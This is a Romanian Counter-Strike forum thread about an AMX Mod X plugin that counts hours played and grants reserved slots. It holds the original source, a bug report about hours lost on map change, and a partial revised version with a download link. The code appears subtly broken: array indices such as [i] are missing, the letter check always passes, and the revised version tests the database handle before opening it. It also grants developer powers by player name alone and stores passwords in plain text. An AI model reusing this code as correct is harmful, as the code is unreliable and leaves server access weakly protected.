- | Afiseaza codul
#include <amxmodx> #include <amxmisc> #include <hamsandwich> #include <nvault> enum { MIN = 1, HOURS = 60, DAYS = 1440 } const TIME_HANDLED = 97; #define CONFIGURATION_FILE "advanced_slot.ini" #define LOG_FILE "slot_register.log" #define LOG_DEVELOPER "slot_developer.log" #define flag_get(%1,%2) (%1 & (1 << (%2 & 31))) #define flag_set(%1,%2) %1 |= (1 << (%2 & 31)) #define flag_unset(%1,%2) %1 &= ~(1 << (%2 & 31)) #define TASK_MINUTES 10101 #define ID_MINUTES (taskid - TASK_MINUTES) new g_minutes[33], g_name[33][32], g_developeridt[33], g_loaded, g_isregistered, g_isdeveloper; new g_nvaultsave, g_msg_saytext, g_maxplayers, g_fw_load_pre, g_fw_load_post, bool:g_settings_loaded = false; new g_hours_need, tag_string[32], Array:g_developer, db_name[32], g_access_flag, field[10]; public plugin_init() { register_plugin("Advanced Slot Free", "2.0", "cyby & S.Cosmin"); RegisterHam(Ham_Spawn, "player", "spawn_post", 1); register_clcmd("say /slot", "slot_cmd"); register_clcmd("say /ore", "timeplayed_cmd"); register_clcmd("PASSWORD_SLOT", "password_for_slot"); register_clcmd("say /ored", "developer_menu"); register_clcmd("ADD_MINUTES", "add_developer_min"); register_clcmd("REM_MINUTES", "rem_developer_min"); g_maxplayers = get_maxplayers(); g_msg_saytext = get_user_msgid("SayText"); g_fw_load_pre = CreateMultiForward("get_loadtime_pre", ET_IGNORE, FP_CELL); g_fw_load_post = CreateMultiForward("get_loadtime_post", ET_IGNORE, FP_CELL); } public plugin_cfg() { g_developer = ArrayCreate(32, 1); load_conf_extern_files(); set_task(1.0, "take_nvault"); } public take_nvault() { g_nvaultsave = nvault_open(db_name); if(g_nvaultsave == INVALID_HANDLE) set_fail_state("[Advanced Slot Free] Eroare la deschiderea bazei de date."); for(new i = 1; i <= g_maxplayers; i++) { if(!is_user_connected(i)) continue; takedata(i); } } public load_conf_extern_files() { g_settings_loaded = false; g_hours_need = native_load_setting_int(CONFIGURATION_FILE, "Setari Rezervare", "HOURS SLOT"); native_load_setting_string(CONFIGURATION_FILE, "Setari Rezervare", "TAG", tag_string, charsmax(tag_string)); native_load_setting_string_arr(CONFIGURATION_FILE, "Setari Rezervare", "DEVELOPER", g_developer); native_load_setting_string(CONFIGURATION_FILE, "Setari Rezervare", "NVAULT NAME", db_name, charsmax(db_name)); new flags[32]; native_load_setting_string(CONFIGURATION_FILE, "Setari Rezervare", "FLAG REGISTER", flags, charsmax(flags)); g_access_flag = read_flags(flags); native_load_setting_string(CONFIGURATION_FILE, "Setari Rezervare", "FIELD", field, charsmax(field)); server_print("[Advanced Slot Free] Setarile au fost preluate cu succes."); g_settings_loaded = true; } public plugin_natives() { register_native("get_registered", "native_get_registered", 1); register_native("get_developer", "native_get_developer", 1); register_native("get_playedtime", "native_get_string_time", 1); register_native("get_loadedtime", "native_get_loadedtime", 1); register_native("get_inttime", "native_get_int_time", 1); } public native_get_registered(id) { if(!flag_get(g_loaded, id)) return false; if(flag_get(g_isregistered, id)) return true; return false; } public native_get_developer(id) { if(!flag_get(g_loaded, id)) return false; if(flag_get(g_isdeveloper, id)) return true; return false; } public native_get_string_time(plugin_id, param_nums) { if(param_nums != 3) return -1; new id = get_param(1); if(!flag_get(g_loaded, id)) return -1; new time_played[32]; formatex(time_played, charsmax(time_played), "%s", convert_minutes(id)); set_string(2, time_played, get_param(3)); return 1; } public native_get_loadedtime(id) { if(flag_get(g_loaded, id)) return true; return false; } public native_get_int_time(id, what) { if(!flag_get(g_loaded, id)) return -1; if(what == MIN) return g_minutes[id]; new extract = 0, int_min = g_minutes[id]; while(int_min >= what) { extract++; int_min -= what; } return extract; } public plugin_end() nvault_close(g_nvaultsave); public client_putinserver(id) { get_user_name(id, g_name[id], charsmax(g_name[])); set_register(id); set_developer(id); } public client_disconnected(id) { g_developeridt[id] = 0; savedata(id); flag_unset(g_isregistered, id) flag_unset(g_isdeveloper, id) } public spawn_post(id) { if(!is_user_alive(id) || !g_settings_loaded) return; if(!flag_get(g_loaded, id)) { new dummy; ExecuteForward(g_fw_load_pre, dummy, id); if(dummy >= TIME_HANDLED) return; takedata(id); set_task(60.0, "increase_minutes", id+TASK_MINUTES, _, _, "b"); flag_set(g_loaded, id); ExecuteForward(g_fw_load_post, dummy, id); } } public slot_cmd(id) { if(flag_get(g_isregistered, id)) { color(id, ".v%s.g Acest nume este deja inregistrat!", tag_string); return PLUGIN_HANDLED; } if((g_minutes[id] / 60) < g_hours_need) { color(id, ".v%s.g Ai nevoie de.v %d.g ore pentru slot!", tag_string, g_hours_need); return PLUGIN_HANDLED; } client_cmd(id, "messagemode PASSWORD_SLOT"); color(id, ".v%s.g Parola trebuie sa contina doar litere!", tag_string); color(id, ".v%s.g Ti-a aparut sus loc pentru a scrie parola!", tag_string); return PLUGIN_HANDLED; } public timeplayed_cmd(id) { if(!flag_get(g_loaded, id)) { color(id, ".v%s.g Ne pare rau, dar nu ti-am preluat inca orele!", tag_string); return PLUGIN_HANDLED; } color(id, ".v%s.g Ai jucat pana acum.v %s.g!", tag_string, convert_minutes(id)); return PLUGIN_HANDLED; } public developer_menu(id) { if(!flag_get(g_isdeveloper, id)) return PLUGIN_CONTINUE; new menu = menu_create("\rDeveloper Menu", "developer_handler"); menu_additem(menu, "\yAdaugă minute", ""); menu_additem(menu, "\yȘterge minute", ""); menu_display(id, menu, 0); return PLUGIN_HANDLED; } public developer_handler(id, menu, item) { if(!flag_get(g_isdeveloper, id)) { menu_destroy(menu); return PLUGIN_HANDLED; } if(item == MENU_EXIT) { menu_destroy(menu); return PLUGIN_HANDLED; } switch(item) { case 0: open_addmin(id); case 1: open_remmin(id); } menu_destroy(menu); return PLUGIN_HANDLED; } public open_addmin(id) { if(!flag_get(g_isdeveloper, id)) return PLUGIN_HANDLED; new menu = menu_create("\yAdauga minute la jucatori", "add_minutes"); new menu_item[100], userid[32]; for(new i = 1; i <= g_maxplayers; i++) { if(!is_user_connected(i) || !flag_get(g_loaded, i)) continue; formatex(menu_item, charsmax(menu_item), "\r%s - \y%s", g_name, convert_minutes(i)); formatex(userid, charsmax(userid), "%d", get_user_userid(i)); menu_additem(menu, menu_item, userid, 0); } menu_display(id, menu, 0); return PLUGIN_HANDLED; } public add_minutes(id, menu, item) { if(!flag_get(g_isdeveloper, id)) { menu_destroy(menu); return PLUGIN_HANDLED; } if(item == MENU_EXIT) { menu_destroy(menu); return PLUGIN_HANDLED; } new menu_data[6], menu_name[64]; new _access, item_callback; menu_item_getinfo(menu, item, _access, menu_data, charsmax(menu_data), menu_name, charsmax(menu_name), item_callback); new userid = str_to_num(menu_data); new player = find_player("k", userid); if(player) { client_cmd(id, "messagemode ADD_MINUTES"); g_developeridt[id] = player; color(id, ".v%s.g L-ai selectat pe.v %s.g!", tag_string, g_name[player]); } else { color(id, ".v%s.g Jucatorul nu exista!", tag_string); g_developeridt[id] = 0; } menu_destroy(menu); return PLUGIN_HANDLED; } public open_remmin(id) { if(!flag_get(g_isdeveloper, id)) return PLUGIN_HANDLED; new menu = menu_create("\yAdauga minute la jucatori", "rem_minutes"); new menu_item[100], userid[32]; for(new i = 1; i <= g_maxplayers; i++) { if(!is_user_connected(i) || !flag_get(g_loaded, i)) continue; formatex(menu_item, charsmax(menu_item), "\r%s - \y%s", g_name, convert_minutes(i)); formatex(userid, charsmax(userid), "%d", get_user_userid(i)); menu_additem(menu, menu_item, userid, 0); } menu_display(id, menu, 0); return PLUGIN_HANDLED; } public rem_minutes(id, menu, item) { if(!flag_get(g_isdeveloper, id)) { menu_destroy(menu); return PLUGIN_HANDLED; } if(item == MENU_EXIT) { menu_destroy(menu); return PLUGIN_HANDLED; } new menu_data[6], menu_name[64]; new _access, item_callback; menu_item_getinfo(menu, item, _access, menu_data, charsmax(menu_data), menu_name, charsmax(menu_name), item_callback); new userid = str_to_num(menu_data); new player = find_player("k", userid); if(player) { client_cmd(id, "messagemode REM_MINUTES"); g_developeridt[id] = player; color(id, ".v%s.g L-ai selectat pe.v %s.g!", tag_string, g_name[player]); } else { color(id, ".v%s.g Jucatorul nu există!", tag_string); g_developeridt[id] = 0; } menu_destroy(menu); return PLUGIN_HANDLED; } public add_developer_min(id) { if(!flag_get(g_isdeveloper, id)) { g_developeridt[id] = 0; return PLUGIN_HANDLED; } if(!is_user_connected(g_developeridt[id]) || !flag_get(g_loaded, g_developeridt[id])) { color(id, ".v%s.g Jucatorul care l-ai selectat a parasit serverul!", tag_string); g_developeridt[id] = 0; return PLUGIN_HANDLED; } new amount[16]; read_args(amount, charsmax(amount)); remove_quotes(amount); new much = str_to_num(amount); if(much <= 0) { color(id, ".v%s.g Suma introdusa este mai mica sau egala cu 0!", tag_string); g_developeridt[id] = 0; return PLUGIN_HANDLED; } g_minutes[g_developeridt[id]] += much; color(0, ".v%s.g Developer.v %s.g ii adauga.v %s %d minute.g!", tag_string, g_name[id], g_name[g_developeridt[id]], much); log_developer(id, g_developeridt[id], much, 1); g_developeridt[id] = 0; return PLUGIN_HANDLED; } public rem_developer_min(id) { if(!flag_get(g_isdeveloper, id)) { g_developeridt[id] = 0; return PLUGIN_HANDLED; } if(!is_user_connected(g_developeridt[id]) || !flag_get(g_loaded, g_developeridt[id])) { color(id, ".v%s.g Jucatorul care l-ai selectat a parasit serverul!", tag_string); g_developeridt[id] = 0; return PLUGIN_HANDLED; } new amount[16]; read_args(amount, charsmax(amount)); remove_quotes(amount); new much = str_to_num(amount); if(much <= 0) { color(id, ".v%s.g Suma introdusa este mai mica sau egala cu 0!", tag_string); g_developeridt[id] = 0; return PLUGIN_HANDLED; } g_minutes[g_developeridt[id]] -= much; color(0, ".v%s.g Developer.v %s.g ii scade.v %s.v %d minute.g!", tag_string, g_name[id], g_name[g_developeridt[id]], much); log_developer(id, g_developeridt[id], much, 2); g_developeridt[id] = 0; return PLUGIN_HANDLED; } public client_infochanged(id) { new name[32]; get_user_info(id, "name", name, charsmax(name)); if(!(equali(name, g_name[id]))) { savedata(id); formatex(g_name[id], charsmax(g_name[]), "%s", name); set_register(id); set_developer(id); } } public password_for_slot(id) { new password[17]; read_args(password, charsmax(password)); remove_quotes(password); if(!check_string(password)) { color(id, ".v%s.g Parola nu respecta regulile!", tag_string); color(id, ".v%s.g Parola trebuie sa contină doar litere!", tag_string); return PLUGIN_HANDLED; } register_slot(id, password); return PLUGIN_HANDLED; } public increase_minutes(taskid) { if(get_user_team(ID_MINUTES) == 0 || get_user_team(ID_MINUTES) == 3 || !flag_get(g_loaded, ID_MINUTES)) return; g_minutes[ID_MINUTES]++; } public takedata(id) { if(flag_get(g_loaded, id)) return; new vaultkey[32], vaultdata[256]; formatex(vaultkey, charsmax(vaultkey), "%s", g_name[id]); formatex(vaultdata, charsmax(vaultdata), "^"%i^"", g_minutes[id]); nvault_get(g_nvaultsave, vaultkey, vaultdata, charsmax(vaultdata)); new minutes[32]; parse(vaultdata, minutes, charsmax(minutes)); g_minutes[id] = str_to_num(minutes); } public savedata(id) { if(!flag_get(g_loaded, id)) return; new vaultkey[32], vaultdata[256]; formatex(vaultkey, charsmax(vaultkey), "%s", g_name[id]); formatex(vaultdata, charsmax(vaultdata), "^"%i^"", g_minutes[id]); nvault_set(g_nvaultsave, vaultkey, vaultdata); g_minutes[id] = 0; flag_unset(g_loaded, id) remove_task(id+TASK_MINUTES); } public register_slot(id, const password[]) { new line[192], configsdir[128], flag[32]; get_flags(g_access_flag, flag, charsmax(flag)); formatex(line, charsmax(line), "^"%s^" ^"%s^" ^"%s^" ^"a^" ; Slot de la /slot cu %d ore", g_name[id], password, flag, g_hours_need); get_configsdir(configsdir, charsmax(configsdir)); formatex(configsdir, charsmax(configsdir), "%s/users.ini", configsdir); write_file(configsdir, line, -1); color(id, ".v%s.g Ai luat slot pentru.v %d.g de joc!", tag_string, g_hours_need); color(id, ".v%s.g Parola ta este:.v %s.g!", tag_string, password); set_user_info(id, field, password); color(0, ".v%s.g Felicitari lui.v %s.g! Si-a luat slot pentru.v %d ore jucate.g!", tag_string, g_name[id], g_hours_need); log_slot(id); flag_set(g_isregistered, id) server_cmd("amx_reloadadmins"); } stock convert_minutes(id) { new szminutes[32], len = 0; new days, hours; new actual_minutes = g_minutes[id]; while(actual_minutes >= 1440) { days++; actual_minutes -= 1440; } while(actual_minutes >= 60) { hours++; actual_minutes -= 60; } if(days > 0) len += formatex(szminutes[len], charsmax(szminutes) - len, "%d zi%s ", days, days == 1 ? "" : "le"); if(hours > 0) len += formatex(szminutes[len], charsmax(szminutes) - len, "%d or%s ", hours, hours == 1 ? "a" : "e"); if(actual_minutes > 0) len += formatex(szminutes[len], charsmax(szminutes) - len, "%d minut%s", actual_minutes, actual_minutes == 1 ? "" : "e"); if(!days && !hours && actual_minutes == 0) len += formatex(szminutes[len], charsmax(szminutes) - len, "nimic"); return szminutes; } stock bool:check_string(const string[]) { new len = strlen(string); if(len < 3) return false; if(len > 15) return false; new bool:isntright = false; for(new i = 1; i <= len; i++) { if(!is_letter(string)) { isntright = true; break; } } if(isntright) return false; return true; } stock bool:is_letter(u) { if(u >= 65 || u <= 90) return true; if(u >= 97 || u <= 122) return true; return false; } stock color(const id, const input[], any:...) { new count = 1, players[32]; static msg[191]; vformat(msg, 190, input, 3); replace_all(msg, 190, ".v", "^4"); replace_all(msg, 190, ".g", "^1"); replace_all(msg, 190, ".e", "^3"); if(id) players[0] = id; else get_players(players, count, "ch") { for (new i = 0; i < count; i++) { if(is_user_connected(players)) { message_begin(MSG_ONE_UNRELIABLE, g_msg_saytext, _, players); write_byte(players); write_string(msg); message_end(); } } } } stock set_developer(id) { flag_unset(g_isdeveloper, id) new name[32]; for(new i = 0; i < ArraySize(g_developer); i++) { ArrayGetString(g_developer, i, name, charsmax(name)); if(equali(g_name[id], name)) { flag_set(g_isdeveloper, id) break; } } } stock set_register(id) { if(!is_user_connected(id)) flag_unset(g_isregistered, id) if(get_user_flags(id) & g_access_flag) flag_set(g_isregistered, id) else flag_unset(g_isregistered, id) } stock log_slot(id) { new content[192], ip[35], authid[34]; get_user_ip(id, ip, charsmax(ip), 1); get_user_authid(id, authid, charsmax(authid)); formatex(content, charsmax(content), "%s [IP: %s | STEAM: %s] si-a inregistrat numele, ore: %s", g_name[id], ip, authid, convert_minutes(id)); log_to_file(LOG_FILE, content); } stock log_developer(admin, id, time, type) { new content[192], ip[35], authid[34]; get_user_ip(admin, ip, charsmax(ip), 1); get_user_authid(admin, authid, charsmax(authid)); switch(type) { case 1: formatex(content, charsmax(content), "Developer: %s [IP: %s | STEAM: %s] ii ofera %d minute lui %s. [timp total: %s]", g_name[admin], ip, authid, time, g_name[id], convert_minutes(id)); case 2: formatex(content, charsmax(content), "Developer: %s [IP: %s | STEAM: %s] ii scoate %d minute lui %s. [timp total: %s]", g_name[admin], ip, authid, time, g_name[id], convert_minutes(id)); } log_to_file(LOG_DEVELOPER, content); } // Credite MeRcyLeZZ - pentru https://forums.alliedmods.net/showthread.php?t=243202 public native_load_setting_int(const filename[], const section[], const key[]) { // Open file for read new path[64], file, file_name[64]; formatex(file_name, charsmax(file_name), "%s", filename); OpenCustomFileRead(path, charsmax(path), file_name, file); new section_str[64]; formatex(section_str, charsmax(section_str), "%s", section); SectionExists(file, section_str) // Try to find key in section new keypos_start, keypos_end, key_str[64]; formatex(key_str, charsmax(key_str), "%s", key); KeyExists(file, key_str, keypos_start, keypos_end); new value[16]; SeekReturnValues(file, keypos_start, value, charsmax(value)); new valoare = str_to_num(value); return valoare; } public native_load_setting_string(const filename[], const section[], const key[], setting_string[], len) { // Open file for read new path[64], file, file_str[64]; formatex(file_str, charsmax(file_str), "%s", filename); OpenCustomFileRead(path, charsmax(path), file_str, file) // Try to find section new section_str[64]; formatex(section_str, charsmax(section_str), "%s", section); SectionExists(file, section_str) // Try to find key in section new keypos_start, keypos_end, key_str[64]; formatex(key_str, charsmax(key_str), "%s", key); KeyExists(file, key_str, keypos_start, keypos_end); // Return string by reference new value[128] SeekReturnValues(file, keypos_start, value, charsmax(value)) formatex(setting_string, len, "%s", value); // Value succesfully retrieved fclose(file); return true; } public native_load_setting_string_arr(const filename[], const section[], const key[], Array:array_handle) { // Open file for read new path[64], file, file_str[64]; formatex(file_str, charsmax(file_str), "%s", filename); if (!OpenCustomFileRead(path, charsmax(path), file_str, file)) return false; // Try to find section new section_str[64]; formatex(section_str, charsmax(section_str), "%s", section); if (!SectionExists(file, section_str)) { fclose(file) return false; } // Try to find key in section new keypos_start, keypos_end, key_str[64]; formatex(key_str, charsmax(key_str), "%s", key); if (!KeyExists(file, key_str, keypos_start, keypos_end)) { fclose(file) return false; } // Return array new values[1024] SeekReturnValues(file, keypos_start, values, charsmax(values)) ParseValuesArrayString(values, charsmax(values), array_handle) // Values succesfully retrieved fclose(file) return true; } OpenCustomFileRead(path[], len1, filename[], &file, create = false) { // Build customization file path get_configsdir(path, len1) format(path, len1, "%s/%s", path, filename) // File not present, create new file? if (!file_exists(path)) { if (create) write_file(path, "", -1) else return false; } // Open customization file for reading file = fopen(path, "rt") if(!file) return false; return true; } SectionExists(file, setting_section[]) { // Seek to setting's section new linedata[96], section[64] while (!feof(file)) { // Read one line at a time fgets(file, linedata, charsmax(linedata)) // Replace newlines with a null character replace(linedata, charsmax(linedata), "^n", "") // New section starting if (linedata[0] == '[') { // Store section name without braces copyc(section, charsmax(section), linedata[1], ']') // Is this our setting's section? if (equal(section, setting_section)) return true; } } return false; } KeyExists(file, setting_key[], &keypos_start, &keypos_end) { // Seek to setting's key new linedata[96], key[64] while (!feof(file)) { // Read one line at a time keypos_start = ftell(file) fgets(file, linedata, charsmax(linedata)) // Replace newlines with a null character replace(linedata, charsmax(linedata), "^n", "") // Blank line or comment if (!linedata[0] || linedata[0] == ';') continue; // Section ended? if (linedata[0] == '[') break; // Get key keypos_end = ftell(file) copyc(key, charsmax(key), linedata, '=') trim(key) // Is this our setting's key? if (equal(key, setting_key)) return true; } return false; } SeekReturnValues(file, keypos_start, values[], len1) { // Seek to key and parse it new linedata[1024], key[64] fseek(file, keypos_start, SEEK_SET) fgets(file, linedata, charsmax(linedata)) // Replace newlines with a null character replace(linedata, charsmax(linedata), "^n", "") // Get values strtok(linedata, key, charsmax(key), values, len1, '=') trim(values) } ParseValuesArrayString(values[], len1, Array:array_handle) { // Parse values new current_value[128] while (values[0] != 0 && strtok(values, current_value, charsmax(current_value), values, len1, ',')) { // Trim spaces trim(current_value) trim(values) // Add to array ArrayPushString(array_handle, current_value) } }
Cerere plugin Rezolvare
Cereri de pluginuri noi, skinuri in CS, etc.
Moderators: Moderatori ajutatori, Moderatori, Echipa eXtreamCS.com
- ForWWarD
- Membru, skill +1
- Posts: 427
- Joined: 25 Feb 2017, 12:29
- Detinator Steam: Da
- CS Status: Glumind putem spune orice chiar adevărul
- Detinator server CS: NORD.GLOBALELITE.RO
- SteamID: /cafeanord
- Reputatie: Fost Membru Club eXtreamCS (doua luni)
- Fond eXtream: 0
- Has thanked: 1 time
- Been thanked: 2 times
- Contact:
Nu se salvează orele când se schimbă mapă! E pluginul acum făcut de câtre cyby și s.cosmyn, dar el nu mai intra pe forum de cateva zile. și nu se salvează orele când se schimbă mapa..
,,Numai după invidia altora îți dai seama de propria ta valoare."
--> Tranzactii incheiate cu succes!
- | Afiseaza codul
1-> prntscr.com/f9scku 2-> https://prnt.sc/f9se9g 3-> https://prnt.sc/f9ynky 4-> https://prnt.sc/f9ynn5 5-> https://prnt.sc/f9ynpi 6-> https://prnt.sc/f9ynrd 7-> https://prnt.sc/f9yntx 8-> https://prnt.sc/f9ynx9
--> Teparii descoperiti de mine
Web-site: http://www.globalelite.ro/forum
Server detinut: NORD.GLOBALELITE.RO - [IP: 188.212.100.239:27015]
Server detinut: NORD.GLOBALELITE.RO - [IP: 188.212.100.239:27015]
- levin
- Scripter eXtreamCS
- Posts: 3844
- Joined: 24 Aug 2011, 12:24
- Detinator Steam: Da
- CS Status: ♅
- Detinator server CS: ☯∴
- SteamID: riseofevo
- Reputatie: Scripter eXtreamCS
Nume anterior: Adryyy - Location: ҳ̸Ҳ̸ҳ
- Discord: devilclass
- Has thanked: 36 times
- Been thanked: 594 times
- Contact:
Posibil să nu ai fișierul .ini configurat...
Uite .AMXX -> http://www29.zippyshare.com/v/Ax8Fg1aI/file.html
Uite .AMXX -> http://www29.zippyshare.com/v/Ax8Fg1aI/file.html
- sau .SMA | Afiseaza codul
#include <amxmodx> #include <amxmisc> #include <nvault> enum { MIN = 1, HOURS = 60, DAYS = 1440 } const TIME_HANDLED = 97; #define CONFIGURATION_FILE "advanced_slot.ini" #define LOG_FILE "slot_register.log" #define LOG_DEVELOPER "slot_developer.log" #define flag_get(%1,%2) (%1 & (1 << (%2 & 31))) #define flag_set(%1,%2) %1 |= (1 << (%2 & 31)) #define flag_unset(%1,%2) %1 &= ~(1 << (%2 & 31)) #define TASK_MINUTES 10101 #define ID_MINUTES (taskid - TASK_MINUTES) new g_minutes[33], g_name[33][32], g_developeridt[33], g_loaded, g_isregistered, g_isdeveloper; new g_nvaultsave, g_msg_saytext, g_maxplayers, g_fw_load_pre, g_fw_load_post, bool:g_settings_loaded = false; new g_hours_need, tag_string[32], Array:g_developer, db_name[32], g_access_flag, field[10]; public plugin_init() { register_plugin("Advanced Slot Free", "2.0", "cyby & S.Cosmin"); register_clcmd("say /slot", "slot_cmd"); register_clcmd("say /ore", "timeplayed_cmd"); register_clcmd("PASSWORD_SLOT", "password_for_slot"); register_clcmd("say /ored", "developer_menu"); register_clcmd("ADD_MINUTES", "add_developer_min"); register_clcmd("REM_MINUTES", "rem_developer_min"); g_maxplayers = get_maxplayers(); g_msg_saytext = get_user_msgid("SayText"); g_fw_load_pre = CreateMultiForward("get_loadtime_pre", ET_IGNORE, FP_CELL); g_fw_load_post = CreateMultiForward("get_loadtime_post", ET_IGNORE, FP_CELL); if(g_nvaultsave == INVALID_HANDLE) set_fail_state("[Advanced Slot Free] Eroare la deschiderea bazei de date."); else g_nvaultsave = nvault_open(db_name); } public plugin_cfg() { g_developer = ArrayCreate(32, 1); load_conf_extern_files(); take_nvault() } public take_nvault() { for(new i = 1; i <= g_maxplayers; i++) { if(!is_user_connected(i)||is_user_bot(i)||is_user_hltv(i)) continue; takedata(i); } } public load_conf_extern_files() { g_settings_loaded = false; new szFile[ 500 ], flags[32]; get_localinfo( "amxx_configsdir", szFile, sizeof ( szFile ) -1 ); format( szFile, sizeof ( szFile ) -1, "%s/%s", szFile, CONFIGURATION_FILE ); if( !file_exists( szFile ) ) { write_file( szFile, "[Setari Rezervare] (setari care sunt preluate la fiecare schimbare de harta fara a fi nevoita modificata sursa)", -1 ); write_file( szFile, "HOURS = 10", -1 ); write_file( szFile, "TAG = [AMXX]", -1 ); write_file( szFile, "DEVELOPER = eVoLuTiOn", -1 ); write_file( szFile, "NVAULT NAME = hours_played", -1 ); write_file( szFile, "FLAG REGISTER = b", -1 ); write_file( szFile, "FIELD = _pw", -1 ); write_file( szFile, "", -1 ); write_file( szFile, "// ca sa mai adaugi developeri, separi cu virgula, deci nu ai voie sa adaugi developeri cu virgula la nume", -1 ); } g_hours_need = native_load_setting_int(CONFIGURATION_FILE, "Setari Rezervare", "HOURS SLOT"); native_load_setting_string(CONFIGURATION_FILE, "Setari Rezervare", "TAG", tag_string, charsmax(tag_string)); native_load_setting_string_arr(CONFIGURATION_FILE, "Setari Rezervare", "DEVELOPER", g_developer); native_load_setting_string(CONFIGURATION_FILE, "Setari Rezervare", "NVAULT NAME", db_name, charsmax(db_name)); native_load_setting_string(CONFIGURATION_FILE, "Setari Rezervare", "FLAG REGISTER", flags, charsmax(flags)); native_load_setting_string(CONFIGURATION_FILE, "Setari Rezervare", "FIELD", field, charsmax(field)); g_access_flag = read_flags(flags); server_print("[Advanced Slot Free] Setarile au fost preluate cu succes."); g_settings_loaded = true; } public plugin_natives() { register_native("get_registered", "native_get_registered", 1); register_native("get_developer", "native_get_developer", 1); register_native("get_playedtime", "native_get_string_time", 1); register_native("get_loadedtime", "native_get_loadedtime", 1); register_native("get_inttime", "native_get_int_time", 1); } public native_get_registered(id) { if(!flag_get(g_loaded, id)) return false; if(flag_get(g_isregistered, id)) return true; return false; } public native_get_developer(id) { if(!flag_get(g_loaded, id)) return false; if(flag_get(g_isdeveloper, id)) return true; return false; } public native_get_string_time(plugin_id, param_nums) { if(param_nums != 3) return -1; new id = get_param(1); if(!flag_get(g_loaded, id)) return -1; new time_played[32]; formatex(time_played, charsmax(time_played), "%s", convert_minutes(id)); set_string(2, time_played, get_param(3)); return 1; } public native_get_loadedtime(id) { if(flag_get(g_loaded, id)) return true; return false; } public native_get_int_time(id, what) { if(!flag_get(g_loaded, id)) return -1; if(what == MIN) return g_minutes[id]; new extract = 0, int_min = g_minutes[id]; while(int_min >= what) { extract++; int_min -= what; } return extract; } public plugin_end() nvault_close(g_nvaultsave); public client_putinserver(id) { if(!is_user_connected(id)||!g_settings_loaded||is_user_bot(id)||is_user_hltv(id)) return; get_user_name(id, g_name[id], charsmax(g_name[])); set_register(id); set_developer(id); if(!flag_get(g_loaded, id)&&is_user_alive(id)) { new dummy; ExecuteForward(g_fw_load_pre, dummy, id); if(dummy >= TIME_HANDLED) return; ExecuteForward(g_fw_load_post, dummy, id); flag_set(g_loaded, id); } takedata(id); set_task(60.0, "increase_minutes", id+TASK_MINUTES, _, _, "b"); } public client_disconnected(id) { g_developeridt[id] = 0; savedata(id); flag_unset(g_isregistered, id) flag_unset(g_isdeveloper, id) } public slot_cmd(id) { if(flag_get(g_isregistered, id)||is_user_admin(id)) { color(id, ".v%s.g Acest nume este deja inregistrat!", tag_string); return PLUGIN_HANDLED; } if((g_minutes[id] / 60) < g_hours_need) { color(id, ".v%s.g Ai nevoie de.v %d.g ore pentru slot!", tag_string, g_hours_need); return PLUGIN_HANDLED; } client_cmd(id, "messagemode PASSWORD_SLOT"); color(id, ".v%s.g Parola trebuie sa contina doar litere!", tag_string); color(id, ".v%s.g Ti-a aparut sus loc pentru a scrie parola!", tag_string); return PLUGIN_HANDLED; } public timeplayed_cmd(id) { if(!flag_get(g_loaded, id)) { color(id, ".v%s.g Ne pare rau, dar nu ti-am preluat inca orele!", tag_string); return PLUGIN_HANDLED; } color(id, ".v%s.g Ai jucat pana acum.v %s.g!", tag_string, convert_minutes(id)); return PLUGIN_HANDLED; } public developer_menu(id) { if(!flag_get(g_isdeveloper, id)) return PLUGIN_CONTINUE; new menu = menu_create("\rDeveloper Menu", "developer_handler"); menu_additem(menu, "\yAdaugă minute", ""); menu_additem(menu, "\y?terge minute", ""); menu_display(id, menu, 0); return PLUGIN_HANDLED; } public developer_handler(id, menu, item) { if(!flag_get(g_isdeveloper, id)) { menu_destroy(menu); return PLUGIN_HANDLED; } if(item == MENU_EXIT) { menu_destroy(menu); return PLUGIN_HANDLED; } switch(item) { case 0: open_addmin(id); case 1: open_remmin(id); } menu_destroy(menu); return PLUGIN_HANDLED; } public open_addmin(id) { if(!flag_get(g_isdeveloper, id)) return PLUGIN_HANDLED; new menu = menu_create("\yAdauga minute la jucatori", "add_minutes"); new menu_item[100], userid[32]; for(new i = 1; i <= g_maxplayers; i++) { if(!is_user_connected(i) || !flag_get(g_loaded, i)) continue; formatex(menu_item, charsmax(menu_item), "\r%s - \y%s", g_name, convert_minutes(i)); formatex(userid, charsmax(userid), "%d", get_user_userid(i)); menu_additem(menu, menu_item, userid, 0); } menu_display(id, menu, 0); return PLUGIN_HANDLED; } public add_minutes(id, menu, item) { if(!flag_get(g_isdeveloper, id)) { menu_destroy(menu); return PLUGIN_HANDLED; } if(item == MENU_EXIT) { menu_destroy(menu); return PLUGIN_HANDLED; } new menu_data[6], menu_name[64]; new _access, item_callback; menu_item_getinfo(menu, item, _access, menu_data, charsmax(menu_data), menu_name, charsmax(menu_name), item_callback); new userid = str_to_num(menu_data); new player = find_player("k", userid); if(player) { client_cmd(id, "messagemode ADD_MINUTES"); g_developeridt[id] = player; color(id, ".v%s.g L-ai selectat pe.v %s.g!", tag_string, g_name[player]); } else { color(id, ".v%s.g Jucatorul nu exista!", tag_string); g_developeridt[id] = 0; } menu_destroy(menu); return PLUGIN_HANDLED; } public open_remmin(id) { if(!flag_get(g_isdeveloper, id)) return PLUGIN_HANDLED; new menu = menu_create("\yAdauga minute la jucatori", "rem_minutes"); new menu_item[100], userid[32]; for(new i = 1; i <= g_maxplayers; i++) { if(!is_user_connected(i) || !flag_get(g_loaded, i)) continue; formatex(menu_item, charsmax(menu_item), "\r%s - \y%s", g_name, convert_minutes(i)); formatex(userid, charsmax(userid), "%d", get_user_userid(i)); menu_additem(menu, menu_item, userid, 0); } menu_display(id, menu, 0); return PLUGIN_HANDLED; } public rem_minutes(id, menu, item) { if(!flag_get(g_isdeveloper, id)) { menu_destroy(menu); return PLUGIN_HANDLED; } if(item == MENU_EXIT) { menu_destroy(menu); return PLUGIN_HANDLED; } new menu_data[6], menu_name[64]; new _access, item_callback; menu_item_getinfo(menu, item, _access, menu_data, charsmax(menu_data), menu_name, charsmax(menu_name), item_callback); new userid = str_to_num(menu_data); new player = find_player("k", userid); if(player) { client_cmd(id, "messagemode REM_MINUTES"); g_developeridt[id] = player; color(id, ".v%s.g L-ai selectat pe.v %s.g!", tag_string, g_name[player]); } else { color(id, ".v%s.g Jucatorul nu există!", tag_string); g_developeridt[id] = 0; } menu_destroy(menu); return PLUGIN_HANDLED; } public add_developer_min(id) { if(!flag_get(g_isdeveloper, id)) { g_developeridt[id] = 0; return PLUGIN_HANDLED; } if(!is_user_connected(g_developeridt[id]) || !flag_get(g_loaded, g_developeridt[id])) { color(id, ".v%s.g Jucatorul care l-ai selectat a parasit serverul!", tag_string); 